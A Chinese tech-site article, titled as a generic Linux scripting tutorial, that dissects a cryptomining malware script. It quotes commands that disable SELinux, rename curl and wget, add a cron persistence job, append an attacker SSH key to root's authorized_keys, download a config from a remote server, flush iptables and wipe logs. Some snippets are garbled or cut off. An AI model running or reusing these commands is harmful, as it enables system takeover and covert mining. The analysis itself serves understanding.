文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

Linux的脚本编写方法有哪些

2023-06-17 05:06

关注

这篇文章主要介绍了Linux的脚本编写方法有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Linux的脚本编写方法有哪些文章都会有所收获,下面我们一起来看看吧。

code 1

#!/bin/sh

脚本的第一行,看起来是一行注释,但其实并不是。它规定了接下来的脚本,将要采用哪一个SHELL执行。像我们平常用的bash、zsh等,属于sh的超集,这个脚本使用sh作为执行的shell,具有更好的可移植性。

code 2

setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

setenforce是Linux的selinux防火墙配置命令,执行setenforce 0  表示关闭selinux防火墙。2代表的是标准错误(stderr)的意思。所以后面,使用重定向符,将命令的错误输出定向到/dev/null设备中。这个设备是一个虚拟设备,意思是什么都不干。非常适合静悄悄的干坏事。

code 3

sync && echo 3 >/proc/sys/vm/drop_caches

脚本贴心的帮我们释放了一些内存资源,以便获取更多的资源进行挖矿。

众所周知,Linux系统会随着长时间的运行,会产生很多缓存,清理方式就是写一个数字到drop_caches文件里,这个数字通常为3。sync命令将所有未写的系统缓冲区写到磁盘中,执行之后就可以放心的释放缓存了。

code 4

crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/sysupdates rtdir="/etc/sysupdates" bbdir="/usr/bin/curl" bbdira="/usr/bin/cur" ccdir="/usr/bin/wget" ccdira="/usr/bin/wge" mv /usr/bin/wget /usr/bin/get mv /usr/bin/xget /usr/bin/get mv /usr/bin/get /usr/bin/wge mv /usr/bin/curl /usr/bin/url mv /usr/bin/xurl /usr/bin/url mv /usr/bin/url /usr/bin/cur

没错,上面这些语句就是完成了一些普通的操作。值得注意的是,它把我们的一些常用命令,使用mv命令给重名了。这在执行命令的时候,就会显得分成功能的蛋疼。这脚本已经更改了计算机的一些文件,属于犯罪的范畴了。

脚本为了复用一些功能,抽象出了很多的函数。我们直接跳到main函数的执行,然后看一下这个过程。

code 5

首先是kill_miner_proc函数。代码很长,就不全部贴出来了。

kill_miner_proc() {     ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9   ...     pkill -f biosetjenkins     pkill -f Loopback     ...     crontab -r     rm -rf /var/spool/cron30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir} else     [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab - fi

注意[[ $cont =~ "update.sh" ]]这以小段代码,怪异的很。[[  ]]是shell中内置的一个命令,支持字符串的模式匹配。使用=~的时候,甚至支持shell的正则表达式,强大的令人发指。它的输出结果是一个bool类型,所以能够使用||进行拼接。

而后面的单小括号 (),是的是一个命令组,括号中多个命令之间用分号隔开,最后一个命令可以没有分号;和`cmd`的效果基本是一样的。

code 11

搞完了定时任务,就要配置ssh自动登录了,通过把公钥追加到信任列表中就可以。

chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/

code 12

说曹操曹操就到,下面的脚本就使用了``进行操作。

filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'` if [ "$filesize_config" -ne "$config_size" ] then     pkill -f sysupdate     rm /etc/config.json     downloads $config_url /etc/config.json $config_url_backup else     echo "no need download" fi

通过一系列骚操作,获取到配置文件的大小,如果判断文件大小不一致,那么就重新下载一个。这就用到了downloads函数。

shell中的函数,看起来比较怪异,后面的参数传递,就像是脚本传递一样,传送给函数。

code 13

downloads $config_url /etc/config.json $config_url_backup

这句话,就传递了三个参数。

当然,文件要从遥远的服务器上下载。域名是.de结尾的,证明是个德国的域名,其他的我们一无所知。

downloads() {     if [ -f "/usr/bin/curl" ]     then     echo $1,$2         http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`         if [ "$http_code" -eq "200" ]         then             curl --connect-timeout 10 --retry 100 $1 > $2         elif [ "$http_code" -eq "405" ]         then             curl --connect-timeout 10 --retry 100 $1 > $2         else             curl --connect-timeout 10 --retry 100 $3 > $2         fi     elif [ -f "/usr/bin/cur" ]     then         http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`         if [ "$http_code" -eq "200" ]         then             cur --connect-timeout 10 --retry 100 $1 > $2         elif [ "$http_code" -eq "405" ]         then             cur --connect-timeout 10 --retry 100 $1 > $2         else             cur --connect-timeout 10 --retry 100 $3 > $2 fi     elif [ -f "/usr/bin/wget" ]     then         wget --timeout=10 --tries=100 -O $2 $1         if [ $? -ne 0 ]     then         wget --timeout=10 --tries=100 -O $2 $3         fi     elif [ -f "/usr/bin/wge" ]     then         wge --timeout=10 --tries=100 -O $2 $1         if [ $? -eq 0 ]         then             wge --timeout=10 --tries=100 -O $2 $3         fi     fi }

我认为,这段代码作者写的又臭又长,完全没有体现出自己应有的水平。应该是赶工期,没有想好代码的复用,才会写的这么有失水准。

我们上面说到,脚本改了几个命令的名字,其中就有curl。这个命令是如此的强大,以至于脚本的作者都忍不住加了不少参数。

如果没有curl?那就使用替补的wget,套路都是一样的。

code 14

接下来是一系列相似的操作,最后,对iptables一批操作。

iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -I INPUT -s 43.245.222.57 -j DROP service iptables reload

code 15

细心的脚本编写者,还使用命令清理了操作日志。

history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history

关于“Linux的脚本编写方法有哪些”这篇文章的内容就介绍到这里,感谢各位的阅读!相信大家对“Linux的脚本编写方法有哪些”知识都有一定的了解,大家如果还想学习更多知识,欢迎关注编程网行业资讯频道。

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-人工智能
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯